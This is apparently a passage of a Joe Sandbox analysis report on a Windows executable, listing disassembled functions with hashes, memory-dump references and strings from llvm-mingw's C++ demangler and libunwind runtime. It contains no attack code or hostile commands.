                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fputwc$memset
                                  • String ID: o$o$o$o$o$o
                                  • API String ID: 822753988-2858737866
                                  • Opcode ID: ec0378b7f33f77d8e7c97258e2461193ec11778b80df3b520114259e277ecf23
                                  • Instruction ID: 94a6019293ae7160aba1f96303b75cf61e6f8fca4ee5548d30d3f3e3c8e121d9
                                  • Opcode Fuzzy Hash: ec0378b7f33f77d8e7c97258e2461193ec11778b80df3b520114259e277ecf23
                                  • Instruction Fuzzy Hash: 32912823E3A64786E3356E26D14073BA6F3EB14794F809331DB6A966D1FA3CE8518710
                                  Function 00007FF77970C560 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 279COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: restric$ volatil
                                  • API String ID: 471065373-3617781792
                                  • Opcode ID: db856f784eeb75ae2a2894c94dec506f6a3f145af6371b9ba82dd0594c7acb52
                                  • Instruction ID: 71521f83638283a726b16d309cfeeff5c94b9cc5f3d95b7534cdd5d2f1c4dae0
                                  • Opcode Fuzzy Hash: db856f784eeb75ae2a2894c94dec506f6a3f145af6371b9ba82dd0594c7acb52
                                  • Instruction Fuzzy Hash: 66B183B7A26B4683DE69DF4AE94426DB371EB58BC0F548431CB8E477A0DF2CE4518350
                                  Function 00007FF77970FED0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 187COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • Index < size() && "Invalid access!", xrefs: 00007FF779710057
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF77971005E
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: freememcpyrealloc$_assertmalloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Index < size() && "Invalid access!"
                                  • API String ID: 3641880838-4289452498
                                  • Opcode ID: 14559c1bef0205f1bddb7d762293130f666c23255001db772909319ea83ab9bc
                                  • Instruction ID: db6ff8b060fba8203359841249fefb4a702f4d8293632194d1799223cb4e358e
                                  • Opcode Fuzzy Hash: 14559c1bef0205f1bddb7d762293130f666c23255001db772909319ea83ab9bc
                                  • Instruction Fuzzy Hash: 18518363A3AB4682EA64EF15E840279A7B1FB88BD4F944531EE8D07B65DE3CD481C350
                                  Function 00007FF7797014B4 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 171COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF779701E55
                                  • _, xrefs: 00007FF77970198D
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF779701E5C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertmallocmemcpyrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$_$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 2036919697-1558868925
                                  • Opcode ID: 679a2847ca810ef046ab7b588b6ce72a6a5788b1c42471ad5ebca2e9f2d48802
                                  • Instruction ID: b81ca4b2df554dacf10d133109412c26e0b3a1fa1b67f799bd7b5705f432bc6a
                                  • Opcode Fuzzy Hash: 679a2847ca810ef046ab7b588b6ce72a6a5788b1c42471ad5ebca2e9f2d48802
                                  • Instruction Fuzzy Hash: AD61646363A74782EAA1EF19A8401AAA7B5FB487C0F840535DB8E47751EF3CE545C390
                                  Function 00007FF779706D70 Relevance: 16.8, APIs: 11, Instructions: 256COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy$malloc
                                  • String ID:
                                  • API String ID: 774493741-0
                                  • Opcode ID: 81f55bab3f375e8d77c0eab75715e2722c19bbdd34e8aaf7ba5827377f0e3e99
                                  • Instruction ID: 74c7e4cd8e5cd78c1b181223cc730da686dbc0b8f9b5b534a1c41c305dd0fa1a
                                  • Opcode Fuzzy Hash: 81f55bab3f375e8d77c0eab75715e2722c19bbdd34e8aaf7ba5827377f0e3e99
                                  • Instruction Fuzzy Hash: 1CA172B3A26B8682EE65DF55E8542A9A3B1FB58BC0F448531CF8D07791EF3CE4518350
                                  Function 00007FF779709150 Relevance: 16.7, APIs: 11, Instructions: 246COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 91c14e38613bf2ef24675708493fc072fa46aa459f950d142766af95f801b6d9
                                  • Instruction ID: 0706b0827f711480bb8eb11e25989e3152a89ca288c82d5c32e546690f5d92d1
                                  • Opcode Fuzzy Hash: 91c14e38613bf2ef24675708493fc072fa46aa459f950d142766af95f801b6d9
                                  • Instruction Fuzzy Hash: ADA160B3A26B4283DA699F46F85036AF3B1EB58BC0F448431DB9E07791EF3CE4418250
                                  Function 00007FF7796F7780 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 412COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: .
                                  • API String ID: 0-248832578
                                  • Opcode ID: 404f2b5ef2ef1ca89c18a83dc03043f38f12fb85a76960961c0867d0112dc419
                                  • Instruction ID: e5e24bbd2ee0d77cceae111707875eb7f55679b4e4d1c3ca0307b916a1c13aaa
                                  • Opcode Fuzzy Hash: 404f2b5ef2ef1ca89c18a83dc03043f38f12fb85a76960961c0867d0112dc419
                                  • Instruction Fuzzy Hash: 98024273A3A64387E774AE16E05067BB7B3EB54740F805235EB9E86B81EB2CE541C710
                                  Function 00007FF7797121E0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 391COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fputc
                                  • String ID: .
                                  • API String ID: 1992160199-248832578
                                  • Opcode ID: 787fcf644351c96b12129b903d4882cc17bbf885cf22506cf1a7f1494b5e88d3
                                  • Instruction ID: 85c9dda549c302b4c08648edc51253f6bfbeb58257e74dd5c440d748489fa5a2
                                  • Opcode Fuzzy Hash: 787fcf644351c96b12129b903d4882cc17bbf885cf22506cf1a7f1494b5e88d3
                                  • Instruction Fuzzy Hash: C1F15233A7A243C7F774AE15E09073EB7B1EB98780F844535CB9A46A85DB2CE841C764
                                  Function 00007FF7796FCEA0 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: string literal$struct
                                  • API String ID: 471065373-3644149429
                                  • Opcode ID: edf70fb810bf94ab848eb3daabb1ff00f60fb926d8302909fc9aec54d1f694de
                                  • Instruction ID: 7ec4ce17356bb61edc6888e0ccbfdce2d1aa383f3e396a8a20f1f919a1b8a665
                                  • Opcode Fuzzy Hash: edf70fb810bf94ab848eb3daabb1ff00f60fb926d8302909fc9aec54d1f694de
                                  • Instruction Fuzzy Hash: 82D18273A3BB4345EA65AF15A4502BAE6A3AF54780F844631CB9D87781EF3CF452C321
                                  Function 00007FF779701129 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 185COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF779701E55
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF779701E5C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: mallocmemcpy
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 4276657696-3503049562
                                  • Opcode ID: d973416b99985d58f68cdca0b67b1622ab5263c660939956c0e26541a716c251
                                  • Instruction ID: 901c0c33fc201d1bc152601ab319639667915a3c278122868caeaf20f5600784
                                  • Opcode Fuzzy Hash: d973416b99985d58f68cdca0b67b1622ab5263c660939956c0e26541a716c251
                                  • Instruction Fuzzy Hash: 4E71656362AB4782EA65EF19E8402AAA3B1FB497C0F844435DB8D07B55EF3CE545C390
                                  Function 00007FF7796F62B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 159stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fwprintf$fputwcstrlen
                                  • String ID: %*.*S$%-*.*S$%.*S
                                  • API String ID: 3854221471-2115465065
                                  • Opcode ID: 98557c05d587b3aa904965f6ccec36304c4a609c4168c198159b4ee53df767b9
                                  • Instruction ID: 58dbff9d8c97d0c63dca380c044d6024d53abb5806114f832e45120f167f1f23
                                  • Opcode Fuzzy Hash: 98557c05d587b3aa904965f6ccec36304c4a609c4168c198159b4ee53df767b9
                                  • Instruction Fuzzy Hash: 18514473A39A0B87E774AE16E05067BF2B3EB44750F809235DB5EC7691EA3CE8418710
                                  Function 00007FF7796F4810 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 93COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: abortfflush$UnwindVirtual
                                  • String ID: float registers unimplemented$getFloatReg$libunwind: %s - %s$setFloatReg
                                  • API String ID: 3704712045-981669299
                                  • Opcode ID: c81ff4b8b519b7b76abbc2ebb3b43e5cc1aa211c4902d7b55f271be843bc12e9
                                  • Instruction ID: b6a9875834cdc778c4d49efd3a05f334163e42ac6fd873125b17e2cea930a108
                                  • Opcode Fuzzy Hash: c81ff4b8b519b7b76abbc2ebb3b43e5cc1aa211c4902d7b55f271be843bc12e9
                                  • Instruction Fuzzy Hash: 2031A462A3AB5782E714BF65F8443E9A376EB88BC4F804436DA4E43751DE3CD546C350
                                  Function 00007FF7796F60C0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 142COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fputwcfwprintf
                                  • String ID: %*.*s$%-*.*s$%.*s$%s
                                  • API String ID: 3232229890-407542676
                                  • Opcode ID: 6e15c573cd0727096df9284b745dfe6214acec5976200213ec216c7e21dcd879
                                  • Instruction ID: aea806afaa2742f8bc7da8de5b9bfbfe9da906a12e30e7ab4215072fd41e473d
                                  • Opcode Fuzzy Hash: 6e15c573cd0727096df9284b745dfe6214acec5976200213ec216c7e21dcd879
                                  • Instruction Fuzzy Hash: 5A514573A39A0787EB749E1AE45063FB3B3EB44750B504235DB5EC7691EE2CE8419B10
                                  Function 00007FF7797080F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 133COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$_assertmemcpy
                                  • String ID: 'unnamed$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Parser->TemplateParams.size() >= OldNumTemplateParamLists
                                  • API String ID: 2140428464-3850676658
                                  • Opcode ID: e98f4957bddb08b3f0627d313fe1925ccf5ed37af1ae49de47ac71d8d8f7d74b
                                  • Instruction ID: a16fd73535feca80400fbc4539ad69b40206e6fe2fec9cd19beda73bdf512496
                                  • Opcode Fuzzy Hash: e98f4957bddb08b3f0627d313fe1925ccf5ed37af1ae49de47ac71d8d8f7d74b
                                  • Instruction Fuzzy Hash: 024162B3A27F4382DE68DF46E8442A9A371EB58BC4F948535CB9D07791EF2CD4818350
                                  Function 00007FF7796FD9A0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 103COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertmalloc$memcpy
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$FromPosition <= Names.size()$Index <= size() && "dropBack() can't expand!"
                                  • API String ID: 4247363904-2992651634
                                  • Opcode ID: ab644f2095f0de27027b3e7fa25ecf4aaf29523574def526dacc6e54c99405ee
                                  • Instruction ID: f8f48023ed7aeed525f0bf44951468d42ac122d69e30e3487e105903f10bcc7e
                                  • Opcode Fuzzy Hash: ab644f2095f0de27027b3e7fa25ecf4aaf29523574def526dacc6e54c99405ee
                                  • Instruction Fuzzy Hash: 0C418F6373AA0281EA24AF05E8447AAA376FB487C4F894536EE4C47751EF7CE485C364
                                  Function 00007FF7796F3F50 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 98COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflush$Unwindabort
                                  • String ID: _Unwind_Resume$_Unwind_Resume() can't return$libunwind: %s - %s$libunwind: _Unwind_Resume(ex_obj=%p)
                                  • API String ID: 3252057912-3900785416
